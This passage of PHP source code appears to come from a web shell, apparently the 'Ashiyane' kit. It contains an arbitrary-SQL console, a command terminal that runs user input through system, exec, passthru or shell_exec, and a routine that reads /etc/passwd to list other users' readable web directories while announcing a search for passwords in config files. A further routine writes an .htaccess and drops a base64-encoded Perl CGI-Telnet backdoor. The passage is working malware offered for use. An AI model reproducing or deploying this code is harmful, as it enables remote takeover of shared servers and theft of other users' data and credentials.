1763 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1764 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1765 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
1766 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1767 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1768 </form>
1769 </div> ";
1770 $columns = array();
1771 $msg = "<table class=\"explore\" style=\"width:99%;\">";
1772 $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
1773 while(list($column) = @mysql_fetch_row($hasil))
1774 {
1775 $msg .= "<th>$column</th>"; $kolum = $column;
1776 }
1777 $msg .= "</tr>";
1778 $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
1779 list($total) = mysql_fetch_row($hasil);
1780 if(isset($_GET['z'])) $page = (int) $_GET['z'];
1781 else $page = 1;
1782 $pagenum = 100;
1783 $totpage = ceil($total / $pagenum);
1784 $start = (($page - 1) * $pagenum);
1785 $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
1786 while($datas = @mysql_fetch_assoc($hasil))
1787 {
1788 $msg .= "<tr>";
1789 foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
1790 $msg .= "</tr>";
1791 }
1792 $msg .= "</table>";
1793 $head = "<div style=\"padding:10px 0 0 6px;\">
1794 <form action=\"?\" method=\"get\">
1795 <input type=\"hidden\" name=\"action\" value=\"sql\" />
1796 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1797 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1798 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1799 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1800 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1801 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1802 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1803 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
1804 Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
1805 for($i = 1;$i <= $totpage;$i++)
1806 {
1807 $head .= "<option value=\"".$i."\">".$i."</option>";
1808 if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
1809 }
1810 $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
1811 $msg = $msgq.$head.$msg;
1812 }
1813 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
1814 {
1815 $db = $_GET['db'];
1816 $query = $_GET['sqlquery'];
1817 $msg = "<div style=\"width:99%;padding:0 10px;\">
1818 <form action=\"?\" method=\"get\">
1819 <input type=\"hidden\" name=\"action\" value=\"sql\" />
1820 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1821 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1822 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1823 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1824 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1825 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1826 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1827 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1828 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1829 </form>
1830 </div> ";
1831 @mysql_select_db($db);
1832 $querys = explode(";",$query);
1833 foreach($querys as $query)
1834 {
1835 if(trim($query) != "")
1836 {
1837 $hasil = mysql_query($query);
1838 if($hasil)
1839 {
1840 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
1841 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
1842 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
1843 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
1844 $msg .= "</tr>";
1845 for($i=0;$i<@mysql_num_rows($hasil);$i++)
1846 {
1847 $rows=@mysql_fetch_array($hasil);
1848 $msg .= "<tr>";
1849 for($j=0;$j<@mysql_num_fields($hasil);$j++)
1850 {
1851 if($rows[$j] == "") $dataz = " ";
1852 else $dataz = $rows[$j];
1853 $msg .= "<td>".$dataz."</td>";
1854 }
1855 $msg .= "</tr>";
1856 }
1857 $msg .= "</table>";
1858 }
1859 else
1860 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
1861 }
1862 }
1863 }
1864 else
1865 {
1866 $query = "SHOW PROCESSLIST;\n
1867 SHOW VARIABLES;\n
1868 SHOW STATUS;";
1869 $msg = "<div style=\"width:99%;padding:0 10px;\">
1870 <form action=\"?\" method=\"get\">
1871 <input type=\"hidden\" name=\"action\" value=\"sql\" />
1872 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1873 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1874 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1875 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1876 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1877 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1878 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1879 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1880 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1881 </form>
1882 </div> ";
1883 $dbs = array();
1884 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
1885 $hasil = @mysql_list_dbs($con);
1886 while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
1887 @sort($dbs);
1888 foreach($dbs as $db)
1889 {
1890 $msg .= "<tr><td><a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
1891 }
1892 $msg .= "</table>";
1893 }
1894 @mysql_close($con);
1895 }
1896 else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
1897 echo $msg;
1898 }
1899
1900 else {
1901 ?>
1902
1903 <form action="?" method="get">
1904 <input type="hidden" name="action" value="sql" />
1905 <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
1906 <input type="hidden" name="x" value="mysql" />
1907 <table class="tabnet" style="width:300px;">
1908 <tr>
1909 <th colspan="2">Connect to mySQL server</th>
1910 </tr>
1911 <tr>
1912 <td> Host</td>
1913 <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
1914 </tr>
1915 <tr>
1916 <td> Username</td>
1917 <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
1918 </tr>
1919 <tr>
1920 <td> Password</td>
1921 <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
1922 </tr>
1923 <tr>
1924 <td> Port</td>
1925 <td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
1926 </tr>
1927 </table>
1928 </form>
1929
1930<?php
1931} //end sql connector
1932
1933 }
1934 //terminal ~ by Mast3r 0mid
1935 if($action=="terminal"){
1936
1937
1938$user = @get_current_user();
1939$prompt = $user." >";
1940$pwd = realpath(".")."\\";
1941function exe($cmd)
1942 {
1943 if(function_exists('system'))
1944 {
1945 @ob_start();
1946 @system($cmd);
1947 $buff = @ob_get_contents();
1948 @ob_end_clean();
1949 return $buff;
1950 }
1951 elseif(function_exists('exec'))
1952 {
1953 @exec($cmd,$results);
1954 $buff = "";
1955 foreach($results as $result)
1956 { $buff .= $result; }
1957 return $buff;
1958 }
1959 elseif(function_exists('passthru'))
1960 {
1961 @ob_start();
1962 @passthru($cmd);
1963 $buff = @ob_get_contents();
1964 @ob_end_clean();
1965 return $buff;
1966 }
1967 elseif(function_exists('shell_exec'))
1968 {
1969 $buff = @shell_exec($cmd);
1970 return $buff;
1971 }
1972 }
1973?>
1974<CENTER>
1975<form action="?action=terminal&CMD=shell#down" method="post">
1976 <table class="cmdbox">
1977 <tr>
1978 <td colspan="2">
1979 <a name="down"></a>
1980 <textarea style="width: 1000px; height: 400px;color: #2677B4;background-color: #000;border: 1px solid #2677B4;font: 9pt Monospace,"Courier New";" class="output" readonly=""> $<?php if(isset($_POST['submitcmd'])) { echo $_POST['cmd']."\n";}?><?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
1981 </td>
1982 </tr>
1983 <tr>
1984 <td colspan="2"><?php echo $prompt; ?>
1985 <input onMouseOver="this.focus();" id="cmd" class="input" type="text" name="cmd" style="width:60%;" value="" />
1986 <input class="inputbutn" type="submit" value="Execute !" name="submitcmd" style="width:12%;" />
1987 </td>
1988 </tr>
1989 </table>
1990 </form></CENTER>
1991
1992 <?php
1993 //end terminal
1994 }
1995 if($action=="basedir"){
1996
1997echo '<div style="text-align:left">';
1998($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
1999set_time_limit(0);
2000@$passwd = fopen('/etc/passwd','r');
2001if (!$passwd) { die('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>'); }
2002$pub = array();
2003$users = array();
2004$conf = array();
2005$i = 0;
2006while(!feof($passwd))
2007{
2008$str = fgets($passwd);
2009if ($i > 35)
2010{
2011$pos = strpos($str,':');
2012$username = substr($str,0,$pos);
2013$dirz = '/home/'.$username.'/public_html/';
2014if (($username != ''))
2015{
2016if (is_readable($dirz))
2017{
2018array_push($users,$username);
2019array_push($pub,$dirz);
2020}
2021}
2022}
2023$i++;
2024}
2025echo '<br><br>';
2026echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font></b>";
2027echo "<b><font color=\"#FFFFFF\">[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font></b>";
2028echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
2029foreach ($users as $user)
2030{
2031$p4th = "/home/$user/public_html/";
2032echo "<form method=get><span><font color=#2677B4>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input type='hidden' name='action' value='explorer'><input class='foottable' type=text name=dir value='$p4th'><input type=submit value='>>'></form><br>";
2033}
2034echo '<br><br></b>';
2035echo '</div>';
2036
2037
2038 }
2039
2040
2041 if($action=="cgiashiyane"){
2042
2043
2044mkdir('cgiashiyane',0755);
2045chdir('cgiashiyane');
2046$ashiyane1 = '.htaccess';
2047$ashiyane2 = "$ashiyane1";
2048$ashiyane3 = fopen ($ashiyane2 ,'w') or die ('ERROR!!!');
2049$ashiyane4 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
2050AddType application/x-httpd-cgi .ashiyane
2051AddHandler cgi-script .ashiyane
2052AddHandler cgi-script .ashiyane';
2053fwrite ( $ashiyane3 ,$ashiyane4 ) ;
2054fclose ($ashiyane3);
2055$ashiyane5 = " IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMCBmb3IgTlQgYW5kIFVuaXggOiBSdW4gQ29tbWFuZHMgb24geW91ciBXZWIgU2VydmVyDQojDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFBlcm1pc3Npb24gaXMgZ3JhbnRlZCB0byB1c2UsIGRpc3RyaWJ1dGUgYW5kIG1vZGlmeSB0aGlzIHNjcmlwdCBzbyBsb25nDQojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0DQojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUNCiMgaW4gdGhpcyBzY3JpcHQsIHlvdSBjYW4gZS1tYWlsIG1lLg0KIw0KIyBBdXRob3I6IFJvaGl0YWIgQmF0cmENCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQ0KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRvOlVOSVRYX1RFQU1ASE9UTUFJTC5DT00NCiMgUHJvZHVjdCBTdXBwb3J0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL3N1cHBvcnQvDQojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8NCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0Lw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEluc3RhbGxhdGlvbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0DQojDQojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uDQojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLg0KIyAyLiBDaGFuZ2UgdGhlIHBhc3N3b3JkIGluIHRoZSBDb25maWd1cmF0aW9uIHNlY3Rpb24gYmVsb3cuDQojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4gdGhlDQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4NCiMgNC4gVXBsb2FkIHRoZSBzY3JpcHQgdG8gYSBkaXJlY3Rvcnkgb24geW91ciBzZXJ2ZXIgd2hpY2ggaGFzIHBlcm1pc3Npb25zIHRvDQojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkDQojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4NCiMgNS4gQ2hhbmdlIHRoZSBwZXJtaXNzaW9uIChDSE1PRCkgb2YgdGhlIHNjcmlwdCB0byA3NTUuDQojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbg0KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsDQojIDcuIExvZ2luIHVzaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBzcGVjaWZpZWQgaW4gU3RlcCAyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCgkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QXNoaXlhbmU8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjMDA5OTAwIj48Yj5DR0ktVGVsbmV0IEFzaGl5YW5lIENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfA0KPGEgaHJlZj0iVU5JVFhfVEVBTUBIT1RNQUlMLkNPTSI+SGVscDwv